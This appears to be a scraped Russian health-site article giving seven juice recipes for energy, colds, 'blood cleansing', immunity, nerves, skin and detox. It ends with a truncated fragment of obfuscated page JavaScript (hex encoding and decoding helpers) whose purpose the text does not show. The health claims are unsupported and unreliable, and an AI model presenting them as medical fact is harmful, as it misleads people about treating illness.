7 MEDNEWS.RU » Здоровье » 7 рецептов сока для здоровья

 

7 рецептов сока для здоровья

 

Существует масса натуральных рецептов от различных проблем со здоровьем. Предлагаем вашему вниманию некоторые из них.

7 рецептов сока для здоровья

1.Чтобы восстановить силы. Для приготовления этого рецепта нужно взять 1 апельсин, 1\4 грейпфрута, лимона с кожурой. Сделайте сок из этих фруктов. Такой рецепт очень полезен после приема тяжелой пищи, тяжелого трудового и стрессового дня.

7 рецептов сока для здоровья

2.Для лечения простуды. Возьмите 1 большой апельсин, половину лимона с кожурой, 50-75 г минеральной воды. Также можете приготовить со-к из 5 морко-вей, 1 яблока и имбиря. Для того чтобы как можно быстрей снизить вес и в моменты, когда будете испытывать чувство голода съедайте половину грейпфрута и 2 яблока.

7 рецептов сока для здоровья

3.Очищение крови. Сделайте сок из 3 сладких яблок и 8-10 ягод клубники. Сок их этих продуктов получается невероятно вкусным, нежным и полезным. А для улучшения цвета лица возьмите вместо яблок 2 ветки зеленого или черно винограда.

7 рецептов сока для здоровья

4.Для поддержания здоровья необходимо регулярно употреблять следующий рецепт1 хурму, 1 кружочек ананаса и 1 грушу. Для повышения иммунной системы нужно взять 3 моркови, 1 пучок сельдерея, пучок петрушки 1 яблоко, половину свеклы с листьями, листья проросшей пшеницы. Также можете приготовить сок из: 6 шт. моркови, 2 стебля сельдерея, пучок петрушки, две головки чеснока.

7 рецептов сока для здоровья
5.Для укрепления нервной системы нужно приготовить салат из: половины помидора, 100 г капусты и 2 пучков сельдерея. Этот же рецепт используется и для лечения разных проблем с желудком. Чтобы нормализовать сон приготовьте сок из: 5 морковей, 2 стебля сельдерея, пучок петрушки.

7 рецептов сока для здоровья

6.Чтобы улучшить состояние кожи нужно приготовить сок из 6 морковей и половины зеленого перца. Такой сок особенно рекомендуется к употреблению подросткам. А чтобы обогатить кровь железом 5 шт. моркови, 6 листьев шпината, 4 листа салата, 1/4 репы, 4 веточки петрушки. Также можете приготовить сок из 6 шт. морковей, 3 шт. зеленых перца, немного капусты, шпинат, листья репы.

7 рецептов сока для здоровья

7.Чтобы вывести из организма токсины, особенно при частом употреблении мяса, рекомендуется употреблять сок из 3 морковей,1/2 огурца, 1/2 свеклы с листьями. Если в желудке часто возникает дискомфорт, рекомендуется употреблять сок из 120 гр. фенхеля, 30 гр. свеклы с листьями, 2 яблока. 

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "7mednews.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e